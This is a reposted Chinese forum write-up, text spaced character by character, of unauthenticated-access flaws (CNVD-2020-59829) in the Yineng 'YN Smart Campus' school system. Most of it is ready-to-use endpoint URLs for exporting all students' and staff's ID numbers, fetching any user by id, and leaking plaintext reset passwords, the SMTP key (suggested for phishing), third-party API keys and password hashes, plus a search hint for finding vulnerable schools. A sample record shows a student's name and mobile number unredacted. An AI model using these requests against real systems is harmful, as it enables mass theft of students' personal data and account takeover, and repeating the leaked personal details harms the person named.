搜索

[7517] 2021-02-21_成都依能科技股份有限公司YN智慧校园-漏洞简述

文档创建者：s7ckTeam
浏览次数：49
最后更新：2025-01-17
2021-02-21_成都依能科技股份有限公司YN智慧校园-漏洞简述 成 都 依 能 科 技 股 份 有 限 公 司 Y N 智 慧 校 园 - 漏 洞 简 述 F 1 2 s e c   2 0 2 1 - 0 2 - 2 1 编 者 荐 语 ： 又 到 了 学 习 墨 雪 师 傅 姿 势 的 时 间 ！ 以 下 文 章 来 源 于 墨 雪 飘 影   ， 作 者 谢 谢 你 喜 欢 我 C N V D - I D ： C N V D - 2 0 2 0 - 5 9 8 2 9 地 址 ： h t t p s : / / w w w . c n v d . o r g . c n / f l a w / s h o w / 2 4 7 2 4 1 2 作 者 已 测 试 成 功 5 例 测 试 系 统 ：   成 都 依 能 科 技 股 份 有 限 公 司 Y N 智 慧 校 园 通 知 消 息 泄 露 全 部 用 户 登 录 名 （ 可 进 行 弱 密 码 撞 库 登 录 ） 地 址 ： 所 有 全 体 通 知 消 息 下 面 列 出 未 授 权 访 问 接 口 地 址 ： 全 部 使 用 学 生 身 份 登 录 系 统 进 行 操 作 ， 以 此 证 明 可 越 权 至 管 理 员 权 限 案 例 在 其 他 文 档 中 ， 该 文 档 为 漏 洞 简 述 墨 雪 飘 影 墨 雪 飘 影   . 技 术 交 流 。
当 前 登 录 用 户 为 学 生 身 份 导 出 所 有 学 生 用 户 / y n e d u t / u s e r / e x p o r t A l l U s e r . h t m ? u s e r T y p e = 2 & c o l u m n s = [ { " k e y " : " l o g i n N a m e " , " v a l u e " : " 登 录 账 号 " } , { " k e y " : " d i s p l a y N a m e " , " v a l u e " : " 姓 名 " } , { " k e y " : " u s e r N u m b e r " , " v a l u e " : " 学 号 " } , { " k e y " : " a r c h i v e s S t a t u s N a m e " , " v a l u e " : " 学 籍 状 态 " } , { " k e y " : " s t a t u s N a m e " , " v a l u e " : " 状 态 " } , { " k e y " : " e f f T i m e S h o t " , " v a l u e " : " 使 用 开 始 日 期 " } , { " k e y " : " e x p T i m e S h o t " , " v a l u e " : " 使 用 结 束 日 期 " } ]
导 出 所 有 学 生 用 户 - 自 定 义 字 段 / y n e d u t / u s e r / e x p o r t A l l U s e r . h t m ? u s e r T y p e = 2 & c o l u m n s = [ { " k e y " : " l o g i n N a m e " , " v a l u e " : " 登 录 账 号 " } , { " k e y " : " d i s p l a y N a m e " , " v a l u e " : " 姓 名 " } , { " k e y " : " u s e r N u m b e r " , " v a l u e " : " 学 号 " } , { " k e y " : " a r c h i v e s S t a t u s N a m e " , " v a l u e " : " 学 籍 状 态 " } , { " k e y " : " s t a t u s N a m e " , " v a l u e " : " 状 态 " } , { " k e y " : " e f f T i m e S h o t " , " v a l u e " : " 使 用 开 始 日 期 " } , { " k e y " : " e x p T i m e S h o t " , " v a l u e " : " 使 用 结 束 日 期 " } , { " k e y " : " c r e d e n t i a l N u m b e r " , " v a l u e " : " 证 件 号 码 " } ] 键 值 对 对 照 表 {     " m e s s a g e "   :   n u l l ,     " s t a t u s "   :   0 ,     " r e s u l t "   :   {         " i d "   :   " 0 0 3 0 5 a c f - 7 9 9 d - 4 2 4 2 - 8 0 a a - e b a 1 f 9 5 4 3 4 0 e " ,         " s o r t F i e l d M a p "   :   n u l l ,         " l o g i n N a m e "   :   " 此 处 打 码 " ,         " u s e r N u m b e r "   :   " 此 处 打 码 " ,         " n a m e "   :   " 邵 阳 " ,         " g e n d e r "   :   1 ,
        " g e n d e r N a m e "   :   " 男 " ,         " u s e r T y p e "   :   2 ,         " u s e r T y p e N a m e "   :   " 学 生 " ,         " m o b i l e "   :   " 1 8 2 8 7 0 9 1 8 7 2 " ,         " e m a i l "   :   n u l l ,         " p l a t f o r m S y s O r g "   :   n u l l ,         " i s M a j o r O r g N o "   :   n u l l ,         " p l a t f o r m S y s O r g N a m e "   :   n u l l ,         " c r e d e n t i a l T y p e "   :   " 0 1 " ,         " c r e d e n t i a l T y p e N a m e "   :   " 身 份 证 " ,         " c r e d e n t i a l N u m b e r "   :   " 此 处 打 码 " ,         " s t a t u s "   :   1 ,         " s t a t u s N a m e "   :   " 正 常 " ,         " w o r k i n g S t a t u s "   :   n u l l ,         " p r o f e s s i o n a l S t a t u s N a m e "   :   n u l l ,         " a r c h i v e s S t a t u s N a m e "   :   n u l l ,         " p l a t f o r m S y s G r a d e N a m e "   :   n u l l ,         " p l a t f o r m S y s S p e c i a l t y N a m e "   :   " 汽 车 运 用 与 维 修 " ,         " p l a t f o r m S y s A d m i n C l a s s N a m e "   :   n u l l ,         " n a m e A n d U s e r N u m b e r "   :   n u l l ,         " u s e r I D "   :   n u l l ,         " c o m p a n y N a m e "   :   n u l l ,         " c r e a t e T i m e "   :   " 2 0 1 9 - 1 1 - 2 2   1 8 : 4 4 : 0 8 " ,         " e f f T i m e "   :   " 2 0 1 9 - 1 1 - 2 2   1 8 : 4 4 : 0 8 " ,         " e f f T i m e S h o t "   :   " 2 0 1 9 - 1 1 - 2 2 " ,         " e x p T i m e "   :   " 2 0 9 9 - 1 2 - 3 1   2 3 : 5 9 : 5 9 " ,         " e x p T i m e S h o t "   :   " 2 0 9 9 - 1 2 - 3 1 " ,         " c r e a t e U s e r "   :   " 徐 春 宇 " ,         " a l i a s "   :   n u l l ,         " d i s p l a y N a m e "   :   " 邵 阳 "     } } 依 照 以 上 对 照 表 ， 可 自 定 义 导 出 字 段 ， 在 u r l 最 后 一 个 j s o n 处 添 加 以 下 键 值 对 。 即 可 获 得 身 份 证 号 , { " k e y " : " c r e d e n t i a l N u m b e r " , " v a l u e " : " 证 件 号 码 " } 证 明 两 张 图 分 别 是 第 一 个 u r l 和 第 二 个 u r l 访 问 后 下 载 所 得 导 出 所 有 教 职 工 / y n e d u t / u s e r / e x p o r t A l l U s e r . h t m ? u s e r T y p e = 1 & c o l u m n s = [ { % 2 2 k e y % 2 2 : % 2 2 l o g i n N a m e % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 7 % 9 9 % B B % E 5 % B D % 9 5 % E 8 % B 4 % A 6 % E 5 % 8 F % B 7 % 2 2 } , { % 2 2 k e y % 2 2 : % 2 2 d i s p l a y N a m e % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 5 % A 7 % 9 3 % E 5 % 9 0 % 8 D % 2 2 } , { % 2 2 k e y % 2 2 : % 2 2 u s e r N u m b e r % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 5 % B 7 % A 5 % E 5 % 8 F % B 7 % 2 2 } , { % 2 2 k e y % 2 2 : % 2 2 p r o f e s s i o n a l S t a t u s N a m e % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 5 % 9 C % A 8 % E 8 % 8 1 % 8 C % E 7 % 8 A % B 6 % E 6 % 8 0 % 8 1 % 2 2 } , { % 2 2 k e y % 2 2 : % 2 2 s t a t u s N a m e % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 7 % 8 A % B 6 % E 6 % 8 0 % 8 1 % 2 2 } , { % 2 2 k e y % 2 2 : % 2 2 e f f T i m e S h o t % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 4 % B D % B F % E 7 % 9 4 % A 8 % E 5 % B C % 8 0 % E 5 % A 7 % 8 B % E 6 % 9 7 % A 5 % E 6 % 9 C % 9 F % 2 2 } , { % 2 2 k e y % 2 2 : % 2 2 e x p T i m e S h o t % 2 2 , % 2 2 v a l u e % 2 2 : % 2 2 % E 4 % B D % B F % E 7 % 9 4 % A 8 % E 7 % B B % 9 3 % E 6 % 9 D % 9 F % E 6 % 9 7 % A 5 % E 6 % 9 C % 9 F % 2 2 } ]
此 处 同 上 ， 一 样 可 以 自 定 义 键 值 对 查 询 指 定 用 户 信 息 / y n e d u t / u s e r / g e t U s e r I n f o . h t m ? _ t e m p l e T i m e = 1 6 0 1 4 5 4 3 4 1 2 3 2 & s y s t e m I d = X T - S - 0 1 6 & m e n u I d = X T - S - 0 1 6 - M - 0 0 6 & i d = 0 0 3 0 5 a c f - 7 9 9 d - 4 2 4 2 - 8 0 a a - e b a 1 f 9 5 4 3 4 0 e
该 接 口 只 需 要 修 改 u r l 中 i d 参 数 的 值 即 可 获 取 指 定 用 户 信 息 （ 不 知 道 u s e r i d ？ 没 关 系 看 下 面 的 日 志 接 口 ） 查 询 所 有 用 户 信 息 / y n e d u t / u s e r / s e a r c h U s e r . h t m ? m e n u I d = X T - S - 0 1 6 - M - 0 0 6 & p a g e N u m b e r = 0 & p a g e S i z e = 2 0 & s y s t e m I d = X T - S - 0 1 6 P O S T               u s e r T y p e :   1               u s e r T y p e :   2               1 为 教 职 工 、 2 为 学 生 全 部 教 职 工 全 部 学 生 该 接 口 请 求 方 式 为 P O S T ， 其 中 b o d y 值 为 u s e r T y p e = { 变 量 } ， 变 量 值 为 1 即 教 职 工 ， 为 2 即 学 生 。 密 码 重 置 规 则 / y n e d u t / p a s s w o r d C o n f i g / q u e r y I n i t i a l i z e C o n f i g . h t m
该 接 口 可 获 取 管 理 员 对 于 全 部 用 户 的 密 码 重 置 规 则 ， 若 为 统 一 密 码 即 可 获 取 统 一 密 码 的 明 文 ， 对 于 初 始 密 码 撞 账 号 有 不 小 的 帮 助 上 图 为 密 码 对 应 规 则 电 子 邮 件 配 置 / y n e d u t / e m a i l C o n f i g / q u e r y E m a i l C o n f i g I n f o . h t m 该 接 口 泄 露 系 统 电 子 邮 件 配 置 信 息 ， 经 测 试 该 信 息 正 确 ， v a l i d a t e P a s s w o r d 字 段 为 S M T P 授 权 密 钥 ， 可 用 于 客 户 端 登 录 邮 箱 。 邮 箱 可 用 于 钓 鱼 、 盗 号 、 社 工 等 指 定 用 户 的 信 息 / y n e d u t / B a s i c I n f o r m a t i o n M a i n t e n a n c e C o n t r o l l e r / f i n d S t u B a s e I n f o C o m p l e t e I n f o B y U s e r I d . h t m ? i d = 7 1 d 4 d 7 f 4 - c 8 1 0 - 4 7 6 4 - a 9 d 3 - e 2 b 6 1 a 0 4 1 f 6 3
该 接 口 同 上 ， 修 改 参 数 i d 的 值 即 可 获 取 不 同 用 户 信 息 ， 信 息 更 详 细 i d 值 为 1 时 即 为 超 级 管 理 员 实 习 企 业 信 息 / y n e d u t / c o m p a n y / q u e r y C o m p a n y L i s t . h t m ? m e n u I d = X T - S - 0 0 5 - M - 0 0 7 & p a g e N u m b e r = 0 & p a g e S i z e = 2 0 & s y s t e m I d = X T - S - 0 0 5
A P I 接 口 / y n e d u t / a u t h c l i e n t / q u e r y T h i r d A u t h C l i e n t L i s t B y C o n d i t i o n . h t m ? m e n u I d = X T - S - 0 1 5 - M - 0 0 9 & p a g e N u m b e r = 0 & p a g e S i z e = 2 0 & s y s t e m I d = X T - S - 0 1 5 该 接 口 可 获 取 所 有 第 三 方 对 接 A P I 的 密 钥 等 信 息 基 于 O A u t h 方 式 整 合 信 息 / y n e d u t / t h i r d S y s t e m / q u e r y I n t e g r a t i o n S y s t e m P a g e . h t m ? m e n u I d = X T - S - 0 1 5 - M - 0 0 8 & p a g e N u m b e r = 0 & p a g e S i z e = 2 0 & s y s t e m I d = X T - S - 0 1 5 该 接 口 可 获 取 所 有 第 三 方 基 于 O A u t h 方 式 的 配 置 信 息 日 志 接 口 泄 露 u s e r i d 和 密 码 密 文
/ y n e d u t / b u s i n e s s L o g / q u e r y L o g P a g e . h t m ? m e n u I d = X T - S - 0 1 7 - M - 0 0 3 & p a g e N u m b e r = 0 & p a g e S i z e = 2 0 & s y s t e m I d = X T - S - 0 1 7 密 码 密 文 ， u s e r i d 都 有 了 ， 还 有 i p 此 外 还 有 若 干 同 样 的 接 口 未 设 置 鉴 权 ， 可 获 得 其 他 敏 感 信 息 ， 以 上 接 口 可 变 相 脱 裤 ， 使 得 数 据 泄 露 后 的 感 知 更 难 以 察 觉 ， 无 攻 击 行 为 式 脱 裤 。 在 发 现 数 据 泄 露 时 已 经 无 法 挽 回 。 目 前 有 多 个 职 业 院 校 采 用 该 系 统 ， 具 体 可 百 度 ： y n e d u t / l o g i n . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理